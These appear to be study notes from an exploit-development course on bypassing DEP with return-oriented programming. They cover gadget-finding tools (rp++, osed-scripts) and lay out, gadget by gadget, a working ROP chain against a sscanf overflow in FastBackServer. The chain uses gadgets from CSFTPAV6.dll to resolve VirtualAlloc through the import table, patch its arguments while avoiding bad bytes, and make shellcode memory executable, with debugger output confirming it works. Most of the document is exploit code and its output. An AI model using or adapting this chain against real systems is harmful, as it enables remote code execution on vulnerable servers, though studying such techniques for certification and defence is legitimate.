Module 0x09

EMET = Enahnced Mitigation Experience Toolkit
WDEG = Windows  Defender Exploit Guard

Enable DEP
    App & Browser control > Exploit protection settings > Add Program > Choose exact file path > DEP > Override system settings


Read/Write:
    Write Example:
    0x6ff2A3d5    pop ecx #pop the address we want to write to
                  ret 

    0x6ff2a3e2     pop eax #pop the value we want to write
                   ret

    0x6eec572e      mov [ecx], eax #write the value to the address pointed to by ecx
                    pop ebp
                    ret

ESP ->  0x6ff2A3d5 #address of gadget 1
        0xffffffff #address we want to write to
        0x6ff2a3e2 #address of g2
        0xdeadb33f #value we want to write
        0x6eec572e #address of g3
        0x41414141 #address to be poped into 
        
    Read Example:
        mov eax, [ecx]

variable length instructions results in different interpretations so returning in the middle of existing opcodes will result in incorrect interpretations

2 Ret opcodes: c2/c3

Gadget Discovery:
    Open source C++ tool:
        rp++ https://github.com/0vercl0k/rp

    Usage:
    (Needs to be in the same directory)
    -f file 
    -r max gadget size
    Output is in the format of <memory address>: instruction1 ; instruction 2 ; ... ; ret ;

        rp-win-x86.exe -f FastBackServer.exe -r 5 > rop.txt 

    Python windbg automation:
        pykd https://githomelab.ru/pykd/pykd

    Python osed-scripts:
        https://github.com/epi052/osed-scripts

        python3 find-gadgets.py -f snfs.dll -b 00 09 0a 0b 0c 0d 20

        Finding mov *, ebx excluding calls:
            cat found-gadgets.txt | grep -v call | grep -E 'mov ..., ebx' 

Exploiting Opcode 534:
    0:077> lm m FastBackServer 
        Browse full module list 
        start    end        module name 
        00400000 00c0c000   FastBackServer   (deferred)  

    Can't use this module because the target vulnerability is a sscanf call which takes a null terminated string. Thus all rop gadgets in the above range will contain a null byte, breaking the exploit.

    An alternative module (CSFTPAV6.dll) packaged with the software is found at:
        start    end        module name 
        50500000 50577000   CSFTPAV6   (deferred) 

    Utilize narly to check ASLR/DEP on loaded modules:
        .load narly
        !nmod

    Utilizing rp++ the dll is analyzed for rop gadgets:
        rp-win-x86.exe -f csftpav6.dll -r 5 > rop.txt

Calling VirtualAlloc via ROP Gadget:
     LPVOID WINAPI VirtualAlloc( 
    _In_opt_ LPVOID lpAddress, 
    _In_     SIZE_T dwSize, 
    _In_     DWORD  flAllocationType, 
    _In_     DWORD  flProtect 
    ); 

    push 0x40; #flProtect PAGE_EXECUTE_READWRITE 
    push 0x00001000; #flAllocationType MEM_COMMIT
    push 0x01 - 0x1000; #dwSize; can only be called per page so any value between 0x01 and 0x1000 (max page length) works
    push bufferAddr; #need to assign dynamically
    push KERNEL32!VirtualAllocStud; # VirtualAlloc function address; need to assign dynamically

    Note flProtect/flAllocationType/dwSize all contain null bytes.

    Within the example exploit these values are added with temporary dummy values:
        # psCommandBuffer 
        va  = pack("<L", (0x45454545)) # dummy VirutalAlloc Address 
        va += pack("<L", (0x46464646)) # Shellcode Return Address 
        va += pack("<L", (0x47474747)) # # dummy Shellcode Address 
        va += pack("<L", (0x48484848)) # dummy dwSize  
        va += pack("<L", (0x49494949)) # # dummy flAllocationType  
        va += pack("<L", (0x51515151)) # dummy flProtect  
        
        offset = b"A" * (276 - len(va))

        #eip at offset 276
        #esp at offset 280

        eip = pack("<L", (0x50501110)) # push esp ; push eax ; pop edi; pop esi ; ret

        This results in esi -> esp and edi -> eax followed by a ret meaning the stack is unchanged since before the call.

        esp = pack("<L", (0x41414141)
        rop = b"C" * (0x400 - 276 - 4)
        formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % (offset+va+eip+esp+rop,0,0,0,0)
    
    Locating VirtualAlloc:

        Use IDA to confirm the target dll imports VirtualAlloc via the imports window. The imports window indicates 0x5054A220 points to the Import Address Table (IAT) entry for VirtualAlloc and does not change on reboot (even with ASLR the base address does but the offset doesn't)
        
        See Note 1*

                Our goal is to move esi back to the start of our dummy arguement values + EIP (the start of our ROP gadgets):

                (as 0x1c == 0x0000001c we instead add -0x1c == 0xffffffe4)

                rop = pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn 
                rop += pack("<L", (0x42424242)) # junk to maintain stack alignment after the pop esi
                rop += pack("<L", (0x505115a3)) # pop ecx ; ret 
                rop += pack("<L", (0xffffffe4)) # -0x1C 
                rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret

                Now eax -> esp - 0x1c (start of dummy args)

                rop += pack("<L", (0x50537d5b)) # push eax ; pop esi ; ret

                esi -> esp - 0x1c

                rop += pack("<L", (0x5053a0f5)) # pop eax ; ret 
                rop += pack("<L", (0x5054A221)) # 0x5054A220 == IAT Virtual alloc entry +1 because 0x20 is a bad byte
                rop += pack("<L", (0x505115a3)) # pop ecx ; ret 
                rop += pack("<L", (0xffffffff)) # -1 into ecx 
                rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret  # eax -> IAT VirtualAlloc
                rop += pack("<L", (0x5051f278)) # mov eax, dword [eax] ; ret #eax -> VirtualAlloc 
                rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret 
                
                esi -> esp - 0x1c (the first arguement on the stack) thus replacing the first dummy value for our call

        Patching Return address:

            To simulate the call to VirtualAlloc via a ret instruction the address of the next part of our execution (the shellcode) must be pushed right after the address of VirtualAlloc
        
            esi currently -> VirtualAlloc on the stack need to increase it by 4

            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret

            eax doesn't currently hold anything important

            esi -> esp - 0x1c + 0x04

            Need eax -> esi + arbitrary shellcode offset
            
            rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret #eax -> esi
            rop += pack("<L", (0x42424242)) # junk 
            rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret  #restore esi
            rop += pack("<L", (0x505115a3)) # pop ecx ; ret 
            rop += pack("<L", (0xfffffdf0)) # -0x210 # arbitrary shellcode offset*
            rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret  # * sub negative to avoid nullbytes

            eax -> shellcode 
            esi -> bufferAddr argument placeholder

            rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret

            push the shellcode address to our call stack

            0:080> dd esi - 4
            0d4de300  756e38c0 0d4de514 00000000 48484848

            esi - 4 -> VirtualAlloc 
            esi -> Shellcode

        Patching the arguements:


            LPVOID WINAPI VirtualAlloc( 
            _In_opt_ LPVOID lpAddress, 
            _In_     SIZE_T dwSize, 
            _In_     DWORD  flAllocationType, 
            _In_     DWORD  flProtect 
            ); 

            llpAddress should -> shellcode 

            We can reuse the previous gadget for incrementing esi and moving it into eax

            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 

            esi -> esi + 0x04
            eax -> ???

            rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret
            rop += pack("<L", (0x42424242)) # junk 
            rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret 

            eax -> esi 

            rop += pack("<L", (0x505115a3)) # pop ecx ; ret 
            rop += pack("<L", (0xfffffdf4)) # -0x20c 
            rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret 


            shellcode offset == 0x210 
            - 4 bytes closer after incrementing esi = 0x20c

            eax -> shellcode    

            Write eax to our arguement list:

            rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret 

            0:080> dd esi - 8
                0d4de300  756e38c0 0d4de514 0d4de514 48484848

        dwSize:
            
            should == 00000001

            
            Align ESI with the next arguement:

            rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 

            Can use neg to swap 0xffffffff to 0x00000001 as it is the same as 0 - 0xffffffff:

            rop += pack("<L", (0x5053a0f5)) # pop eax ; ret  
            rop += pack("<L", (0xffffffff)) # -1 value that is negated 
            rop += pack("<L", (0x50527840)) # neg eax ; ret # eax == 0x00000001
            rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret

        flAllocationType:
            should == 0x1000

            can't use neg as 0 - 1000 = fffff000 which contains null bytes.

            instead add some arbitrary values together such as:
            
            1000 - 0x80808080 = 7f7f8f80

            80808080 + 7f7f8f80 = 00001000

            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x5053a0f5)) # pop eax ; ret  
            rop += pack("<L", (0x80808080)) # first value to be added 
            rop += pack("<L", (0x505115a3)) # pop ecx ; ret 
            rop += pack("<L", (0x7f7f8f80)) # second value to be added 
            rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret 
            rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret

            In the books example the breakpoint 'bp 0x5051579a ".if (@eax & 0x0`ffffffff) = 0x80808080 {} .else {gc}"' is used to avoid having to continue multiple times, instead opting to only break if eax == 0x80808080 (& bitwise operation used since the value is signed)

        flProtect:

            40 - 80808080 = 7f7f7fc0
            80808080 + 7f7f7fc0 = 00000040

            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret 
            rop += pack("<L", (0x5053a0f5)) # pop eax ; ret  
            rop += pack("<L", (0x80808080)) # first value to be added 
            rop += pack("<L", (0x505115a3)) # pop ecx ; ret 
            rop += pack("<L", (0x7f7f7fc0)) # second value to be added 
            rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret 
            rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret 

    Executing VirtualAlloc:

        Need to position esp to point to the function call address. Only ROP gadget available was mov esp, ebp so ebp needs to -> esi - 14 + 4 ( so the final pop ebp pops a junk value into ebp otherwise it would ruin the stack):
        
        0:077> dd esi - 18
        0109e2ec  junk:41414141 VirtualAlloc:760a4da0 Retadd:0109e504 lpAddress:0109e504
        0109e2fc  dwSize:00000001 flAllocationType:00001000 flProtect:00000040 0109e30c

        rop += pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn 
        rop += pack("<L", (0x42424242)) # junk 
        rop += pack("<L", (0x505115a3)) # pop ecx ; ret 
        rop += pack("<L", (0xffffffe8)) # negative offset value 
        rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret 
        rop += pack("<L", (0x5051571f)) # xchg eax, ebp ; ret 
        rop += pack("<L", (0x50533cbf)) # mov esp, ebp ; pop ebp ; ret

        
    Verify the call works:
        Before:
            !vprot 0d55e514 #address of the shellcode
            Protect:           00000004  PAGE_READWRITE

        After:
            !vprot 0d55e514
            Protect:           00000040  PAGE_EXECUTE_READWRITE
        

Last updated

Was this helpful?